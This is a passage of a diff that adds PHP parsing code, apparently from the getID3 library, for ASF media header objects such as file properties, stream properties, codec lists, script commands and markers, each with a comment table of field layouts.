+					// Send Duration                QWORD        64              // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1
+					// Preroll                      QWORD        64              // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount
+					// Flags                        DWORD        32              //
+					// * Broadcast Flag             bits         1  (0x01)       // file is currently being written, some header values are invalid
+					// * Seekable Flag              bits         1  (0x02)       // is file seekable
+					// * Reserved                   bits         30 (0xFFFFFFFC) // reserved - set to zero
+					// Minimum Data Packet Size     DWORD        32              // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1
+					// Maximum Data Packet Size     DWORD        32              // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1
+					// Maximum Bitrate              DWORD        32              // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead
+
+					// shortcut
+					$thisfile_asf['file_properties_object'] = array();
+					$thisfile_asf_filepropertiesobject      = &$thisfile_asf['file_properties_object'];
+
+					$thisfile_asf_filepropertiesobject['offset']             = $NextObjectOffset + $offset;
+					$thisfile_asf_filepropertiesobject['objectid']           = $NextObjectGUID;
+					$thisfile_asf_filepropertiesobject['objectid_guid']      = $NextObjectGUIDtext;
+					$thisfile_asf_filepropertiesobject['objectsize']         = $NextObjectSize;
+					$thisfile_asf_filepropertiesobject['fileid']             = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_filepropertiesobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']);
+					$thisfile_asf_filepropertiesobject['filesize']           = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['creation_date']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']);
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['data_packets']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['play_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['send_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['preroll']            = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$thisfile_asf_filepropertiesobject['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001);
+					$thisfile_asf_filepropertiesobject['flags']['seekable']  = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002);
+
+					$thisfile_asf_filepropertiesobject['min_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_filepropertiesobject['max_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_filepropertiesobject['max_bitrate']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+
+					if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) {
+
+						// broadcast flag is set, some values invalid
+						unset($thisfile_asf_filepropertiesobject['filesize']);
+						unset($thisfile_asf_filepropertiesobject['data_packets']);
+						unset($thisfile_asf_filepropertiesobject['play_duration']);
+						unset($thisfile_asf_filepropertiesobject['send_duration']);
+						unset($thisfile_asf_filepropertiesobject['min_packet_size']);
+						unset($thisfile_asf_filepropertiesobject['max_packet_size']);
+
+					} else {
+
+						// broadcast flag NOT set, perform calculations
+						$info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000);
+
+						//$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate'];
+						$info['bitrate'] = ((isset($thisfile_asf_filepropertiesobject['filesize']) ? $thisfile_asf_filepropertiesobject['filesize'] : $info['filesize']) * 8) / $info['playtime_seconds'];
+					}
+					break;
+
+				case GETID3_ASF_Stream_Properties_Object:
+					// Stream Properties Object: (mandatory, one per media stream)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object
+					// Object Size                  QWORD        64              // size of stream properties object, including 78 bytes of Stream Properties Object header
+					// Stream Type                  GUID         128             // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media
+					// Error Correction Type        GUID         128             // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types
+					// Time Offset                  QWORD        64              // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream
+					// Type-Specific Data Length    DWORD        32              // number of bytes for Type-Specific Data field
+					// Error Correction Data Length DWORD        32              // number of bytes for Error Correction Data field
+					// Flags                        WORD         16              //
+					// * Stream Number              bits         7 (0x007F)      // number of this stream.  1 <= valid <= 127
+					// * Reserved                   bits         8 (0x7F80)      // reserved - set to zero
+					// * Encrypted Content Flag     bits         1 (0x8000)      // stream contents encrypted if set
+					// Reserved                     DWORD        32              // reserved - set to zero
+					// Type-Specific Data           BYTESTREAM   variable        // type-specific format data, depending on value of Stream Type
+					// Error Correction Data        BYTESTREAM   variable        // error-correction-specific format data, depending on value of Error Correct Type
+
+					// There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the
+					// stream number isn't known until halfway through decoding the structure, hence it
+					// it is decoded to a temporary variable and then stuck in the appropriate index later
+
+					$StreamPropertiesObjectData['offset']             = $NextObjectOffset + $offset;
+					$StreamPropertiesObjectData['objectid']           = $NextObjectGUID;
+					$StreamPropertiesObjectData['objectid_guid']      = $NextObjectGUIDtext;
+					$StreamPropertiesObjectData['objectsize']         = $NextObjectSize;
+					$StreamPropertiesObjectData['stream_type']        = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$StreamPropertiesObjectData['stream_type_guid']   = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']);
+					$StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']);
+					$StreamPropertiesObjectData['time_offset']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+					$offset += 8;
+					$StreamPropertiesObjectData['type_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$StreamPropertiesObjectData['error_data_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$StreamPropertiesObjectData['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$StreamPropertiesObjectStreamNumber               = $StreamPropertiesObjectData['flags_raw'] & 0x007F;
+					$StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000);
+
+					$offset += 4; // reserved - DWORD
+					$StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']);
+					$offset += $StreamPropertiesObjectData['type_data_length'];
+					$StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']);
+					$offset += $StreamPropertiesObjectData['error_data_length'];
+
+					switch ($StreamPropertiesObjectData['stream_type']) {
+
+						case GETID3_ASF_Audio_Media:
+							$thisfile_audio['dataformat']   = (!empty($thisfile_audio['dataformat'])   ? $thisfile_audio['dataformat']   : 'asf');
+							$thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr');
+
+							$audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16));
+							unset($audiodata['raw']);
+							$thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio);
+							break;
+
+						case GETID3_ASF_Video_Media:
+							$thisfile_video['dataformat']   = (!empty($thisfile_video['dataformat'])   ? $thisfile_video['dataformat']   : 'asf');
+							$thisfile_video['bitrate_mode'] = (!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr');
+							break;
+
+						case GETID3_ASF_Command_Media:
+						default:
+							// do nothing
+							break;
+
+					}
+
+					$thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData;
+					unset($StreamPropertiesObjectData); // clear for next stream, if any
+					break;
+
+				case GETID3_ASF_Header_Extension_Object:
+					// Header Extension Object: (mandatory, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object
+					// Object Size                  QWORD        64              // size of Header Extension object, including 46 bytes of Header Extension Object header
+					// Reserved Field 1             GUID         128             // hardcoded: GETID3_ASF_Reserved_1
+					// Reserved Field 2             WORD         16              // hardcoded: 0x00000006
+					// Header Extension Data Size   DWORD        32              // in bytes. valid: 0, or > 24. equals object size minus 46
+					// Header Extension Data        BYTESTREAM   variable        // array of zero or more extended header objects
+
+					// shortcut
+					$thisfile_asf['header_extension_object'] = array();
+					$thisfile_asf_headerextensionobject      = &$thisfile_asf['header_extension_object'];
+
+					$thisfile_asf_headerextensionobject['offset']              = $NextObjectOffset + $offset;
+					$thisfile_asf_headerextensionobject['objectid']            = $NextObjectGUID;
+					$thisfile_asf_headerextensionobject['objectid_guid']       = $NextObjectGUIDtext;
+					$thisfile_asf_headerextensionobject['objectsize']          = $NextObjectSize;
+					$thisfile_asf_headerextensionobject['reserved_1']          = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_headerextensionobject['reserved_1_guid']     = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']);
+					if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) {
+						$info['warning'][] = 'header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')';
+						//return false;
+						break;
+					}
+					$thisfile_asf_headerextensionobject['reserved_2']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) {
+						$info['warning'][] = 'header_extension_object.reserved_2 ('.getid3_lib::PrintHexBytes($thisfile_asf_headerextensionobject['reserved_2']).') does not match expected value of "6"';
+						//return false;
+						break;
+					}
+					$thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_headerextensionobject['extension_data']      =                              substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']);
+					$unhandled_sections = 0;
+					$thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections);
+					if ($unhandled_sections === 0) {
+						unset($thisfile_asf_headerextensionobject['extension_data']);
+					}
+					$offset += $thisfile_asf_headerextensionobject['extension_data_size'];
+					break;
+
+				case GETID3_ASF_Codec_List_Object:
+					// Codec List Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Codec List object - GETID3_ASF_Codec_List_Object
+					// Object Size                  QWORD        64              // size of Codec List object, including 44 bytes of Codec List Object header
+					// Reserved                     GUID         128             // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6
+					// Codec Entries Count          DWORD        32              // number of entries in Codec Entries array
+					// Codec Entries                array of:    variable        //
+					// * Type                       WORD         16              // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec
+					// * Codec Name Length          WORD         16              // number of Unicode characters stored in the Codec Name field
+					// * Codec Name                 WCHAR        variable        // array of Unicode characters - name of codec used to create the content
+					// * Codec Description Length   WORD         16              // number of Unicode characters stored in the Codec Description field
+					// * Codec Description          WCHAR        variable        // array of Unicode characters - description of format used to create the content
+					// * Codec Information Length   WORD         16              // number of Unicode characters stored in the Codec Information field
+					// * Codec Information          BYTESTREAM   variable        // opaque array of information bytes about the codec used to create the content
+
+					// shortcut
+					$thisfile_asf['codec_list_object'] = array();
+					$thisfile_asf_codeclistobject      = &$thisfile_asf['codec_list_object'];
+
+					$thisfile_asf_codeclistobject['offset']                    = $NextObjectOffset + $offset;
+					$thisfile_asf_codeclistobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_codeclistobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_codeclistobject['objectsize']                = $NextObjectSize;
+					$thisfile_asf_codeclistobject['reserved']                  = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_codeclistobject['reserved_guid']             = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']);
+					if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) {
+						$info['warning'][] = 'codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}';
+						//return false;
+						break;
+					}
+					$thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) {
+						// shortcut
+						$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array();
+						$thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter];
+
+						$thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']);
+
+						$CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
+						$offset += 2;
+						$thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength);
+						$offset += $CodecNameLength;
+
+						$CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
+						$offset += 2;
+						$thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength);
+						$offset += $CodecDescriptionLength;
+
+						$CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength);
+						$offset += $CodecInformationLength;
+
+						if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec
+
+							if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) {
+								$info['warning'][] = '[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-seperated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"';
+							} else {
+
+								list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']));
+								$thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']);
+
+								if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) {
+									$thisfile_audio['bitrate'] = (int) (trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000);
+								}
+								//if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) {
+								if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) {
+									//$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate'];
+									$thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate'];
+								}
+
+								$AudioCodecFrequency = (int) trim(str_replace('kHz', '', $AudioCodecFrequency));
+								switch ($AudioCodecFrequency) {
+									case 8:
+									case 8000:
+										$thisfile_audio['sample_rate'] = 8000;
+										break;
+
+									case 11:
+									case 11025:
+										$thisfile_audio['sample_rate'] = 11025;
+										break;
+
+									case 12:
+									case 12000:
+										$thisfile_audio['sample_rate'] = 12000;
+										break;
+
+									case 16:
+									case 16000:
+										$thisfile_audio['sample_rate'] = 16000;
+										break;
+
+									case 22:
+									case 22050:
+										$thisfile_audio['sample_rate'] = 22050;
+										break;
+
+									case 24:
+									case 24000:
+										$thisfile_audio['sample_rate'] = 24000;
+										break;
+
+									case 32:
+									case 32000:
+										$thisfile_audio['sample_rate'] = 32000;
+										break;
+
+									case 44:
+									case 441000:
+										$thisfile_audio['sample_rate'] = 44100;
+										break;
+
+									case 48:
+									case 48000:
+										$thisfile_audio['sample_rate'] = 48000;
+										break;
+
+									default:
+										$info['warning'][] = 'unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')';
+										break;
+								}
+
+								if (!isset($thisfile_audio['channels'])) {
+									if (strstr($AudioCodecChannels, 'stereo')) {
+										$thisfile_audio['channels'] = 2;
+									} elseif (strstr($AudioCodecChannels, 'mono')) {
+										$thisfile_audio['channels'] = 1;
+									}
+								}
+
+							}
+						}
+					}
+					break;
+
+				case GETID3_ASF_Script_Command_Object:
+					// Script Command Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Script Command object - GETID3_ASF_Script_Command_Object
+					// Object Size                  QWORD        64              // size of Script Command object, including 44 bytes of Script Command Object header
+					// Reserved                     GUID         128             // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6
+					// Commands Count               WORD         16              // number of Commands structures in the Script Commands Objects
+					// Command Types Count          WORD         16              // number of Command Types structures in the Script Commands Objects
+					// Command Types                array of:    variable        //
+					// * Command Type Name Length   WORD         16              // number of Unicode characters for Command Type Name
+					// * Command Type Name          WCHAR        variable        // array of Unicode characters - name of a type of command
+					// Commands                     array of:    variable        //
+					// * Presentation Time          DWORD        32              // presentation time of that command, in milliseconds
+					// * Type Index                 WORD         16              // type of this command, as a zero-based index into the array of Command Types of this object
+					// * Command Name Length        WORD         16              // number of Unicode characters for Command Name
+					// * Command Name               WCHAR        variable        // array of Unicode characters - name of this command
+
+					// shortcut
+					$thisfile_asf['script_command_object'] = array();
+					$thisfile_asf_scriptcommandobject      = &$thisfile_asf['script_command_object'];
+
+					$thisfile_asf_scriptcommandobject['offset']               = $NextObjectOffset + $offset;
+					$thisfile_asf_scriptcommandobject['objectid']             = $NextObjectGUID;
+					$thisfile_asf_scriptcommandobject['objectid_guid']        = $NextObjectGUIDtext;
+					$thisfile_asf_scriptcommandobject['objectsize']           = $NextObjectSize;
+					$thisfile_asf_scriptcommandobject['reserved']             = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_scriptcommandobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']);
+					if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) {
+						$info['warning'][] = 'script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}';
+						//return false;
+						break;
+					}
+					$thisfile_asf_scriptcommandobject['commands_count']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_scriptcommandobject['command_types_count']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					for ($CommandTypesCounter = 0; $CommandTypesCounter < $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) {
+						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
+						$offset += 2;
+						$thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
+						$offset += $CommandTypeNameLength;
+					}
+					for ($CommandsCounter = 0; $CommandsCounter < $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) {
+						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+
+						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
+						$offset += 2;
+						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
+						$offset += $CommandTypeNameLength;
+					}
+					break;
+
+				case GETID3_ASF_Marker_Object:
+					// Marker Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Marker object - GETID3_ASF_Marker_Object
+					// Object Size                  QWORD        64              // size of Marker object, including 48 bytes of Marker Object header
+					// Reserved                     GUID         128             // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB
+					// Markers Count                DWORD        32              // number of Marker structures in Marker Object
+					// Reserved                     WORD         16              // hardcoded: 0x0000
+					// Name Length                  WORD         16              // number of bytes in the Name field
+					// Name                         WCHAR        variable        // name of the Marker Object
+					// Markers                      array of:    variable        //
+					// * Offset                     QWORD        64              // byte offset into Data Object
+					// * Presentation Time          QWORD        64              // in 100-nanosecond units
+					// * Entry Length               WORD         16              // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding)
+					// * Send Time                  DWORD        32              // in milliseconds
+					// * Flags                      DWORD        32              // hardcoded: 0x00000000
+					// * Marker Description Length  DWORD        32              // number of bytes in Marker Description field
+					// * Marker Description         WCHAR        variable        // array of Unicode characters - description of marker entry
+					// * Padding                    BYTESTREAM   variable        // optional padding bytes
+
+					// shortcut
+					$thisfile_asf['marker_object'] = array();
+					$thisfile_asf_markerobject     = &$thisfile_asf['marker_object'];
+
+					$thisfile_asf_markerobject['offset']               = $NextObjectOffset + $offset;
+					$thisfile_asf_markerobject['objectid']             = $NextObjectGUID;
+					$thisfile_asf_markerobject['objectid_guid']        = $NextObjectGUIDtext;
+					$thisfile_asf_markerobject['objectsize']           = $NextObjectSize;
+					$thisfile_asf_markerobject['reserved']             = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_markerobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']);
+					if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) {
+						$info['warning'][] = 'marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved_1']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}';
+						break;
+					}
+					$thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					if ($thisfile_asf_markerobject['reserved_2'] != 0) {
+						$info['warning'][] = 'marker_object.reserved_2 ('.getid3_lib::PrintHexBytes($thisfile_asf_markerobject['reserved_2']).') does not match expected value of "0"';
+						break;
+					}
+					$thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']);
+					$offset += $thisfile_asf_markerobject['name_length'];
+					for ($MarkersCounter = 0; $MarkersCounter < $thisfile_asf_markerobject['markers_count']; $MarkersCounter++) {
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['offset']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+						$offset += 8;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+						$offset += 8;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length']              = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time']                 = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['flags']                     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description']        = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']);
+						$offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
+						$PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 -  4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
+						if ($PaddingLength > 0) {
+							$thisfile_asf_markerobject['markers'][$MarkersCounter]['padding']               = substr($ASFHeaderData, $offset, $PaddingLength);
+							$offset += $PaddingLength;
+						}
+					}
+					break;
+
+				case GETID3_ASF_Bitrate_Mutual_Exclusion_Object:
+					// Bitrate Mutual Exclusion Object: (optional)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object
+					// Object Size                  QWORD        64              // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header
+					// Exlusion Type                GUID         128             // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown)
+					// Stream Numbers Count         WORD         16              // number of video streams
+					// Stream Numbers               WORD         variable        // array of mutually exclusive video stream numbers. 1 <= valid <= 127
+
+					// shortcut
+					$thisfile_asf['bitrate_mutual_exclusion_object'] = array();
+					$thisfile_asf_bitratemutualexclusionobject       = &$thisfile_asf['bitrate_mutual_exclusion_object'];
+
+					$thisfile_asf_bitratemutualexclusionobject['offset']               = $NextObjectOffset + $offset;
+					$thisfile_asf_bitratemutualexclusionobject['objectid']             = $NextObjectGUID;
+					$thisfile_asf_bitratemutualexclusionobject['objectid_guid']        = $NextObjectGUIDtext;
+					$thisfile_asf_bitratemutualexclusionobject['objectsize']           = $NextObjectSize;
+					$thisfile_asf_bitratemutualexclusionobject['reserved']             = substr($ASFHeaderData, $offset, 16);
+					$thisfile_asf_bitratemutualexclusionobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']);
+					$offset += 16;
+					if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) {
+						$info['warning'][] = 'bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or  "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}';
+						//return false;
+						break;
+					}
+					$thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					for ($StreamNumberCounter = 0; $StreamNumberCounter < $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) {
+						$thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+					}
+					break;
+
+				case GETID3_ASF_Error_Correction_Object:
+					// Error Correction Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object
